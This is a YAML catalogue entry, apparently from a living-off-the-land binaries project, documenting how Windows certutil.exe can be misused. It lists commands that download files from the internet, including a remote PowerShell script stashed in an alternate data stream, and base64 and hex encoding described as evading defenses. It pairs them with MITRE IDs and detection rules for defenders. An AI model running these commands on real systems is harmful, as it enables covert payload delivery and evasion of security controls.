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78 lines
4.2 KiB
YAML
78 lines
4.2 KiB
YAML
---
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Name: Certutil.exe
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Description: Windows binary used for handling certificates
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Author: 'Oddvar Moe'
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Created: 2018-05-25
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Commands:
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- Command: certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
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Description: Download and save 7zip to disk in the current folder.
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Usecase: Download file from Internet
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: certutil.exe -verifyctl -f -split http://7-zip.org/a/7z1604-x64.exe 7zip.exe
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Description: Download and save 7zip to disk in the current folder.
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Usecase: Download file from Internet
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
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Description: Download and save a PS1 file to an Alternate Data Stream (ADS).
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Usecase: Download file from Internet and save it in an NTFS Alternate Data Stream
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Category: ADS
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Privileges: User
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MitreID: T1564.004
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: certutil -encode inputFileName encodedOutputFileName
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Description: Command to encode a file using Base64
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Usecase: Encode files to evade defensive measures
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Category: Encode
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Privileges: User
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MitreID: T1027
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: certutil -decode encodedInputFileName decodedOutputFileName
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Description: Command to decode a Base64 encoded file.
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Usecase: Decode files to evade defensive measures
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Category: Decode
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Privileges: User
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MitreID: T1140
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: certutil -decodehex encoded_hexadecimal_InputFileName decodedOutputFileName
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Description: Command to decode a hexadecimal-encoded file decodedOutputFileName
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Usecase: Decode files to evade defensive measures
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Category: Decode
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Privileges: User
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MitreID: T1140
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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Full_Path:
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- Path: C:\Windows\System32\certutil.exe
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- Path: C:\Windows\SysWOW64\certutil.exe
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Code_Sample:
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- Code:
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_download.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_encode.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_decode.yml
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- Elastic: https://github.com/elastic/detection-rules/blob/4a11ef9514938e7a7e32cf5f379e975cebf5aed3/rules/windows/defense_evasion_suspicious_certutil_commands.toml
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- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/command_and_control_certutil_network_connection.toml
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- Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_urlcache_and_split_arguments.yml
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- Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_verifyctl_and_split_arguments.yml
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- Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_with_decode_argument.yml
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- IOC: Certutil.exe creating new files on disk
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- IOC: Useragent Microsoft-CryptoAPI/10.0
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- IOC: Useragent CertUtil URL Agent
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Resources:
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- Link: https://twitter.com/Moriarty_Meng/status/984380793383370752
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- Link: https://twitter.com/mattifestation/status/620107926288515072
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- Link: https://twitter.com/egre55/status/1087685529016193025
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Acknowledgement:
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- Person: Matt Graeber
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Handle: '@mattifestation'
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- Person: Moriarty
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Handle: '@Moriarty_Meng'
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- Person: egre55
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Handle: '@egre55'
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- Person: Lior Adar
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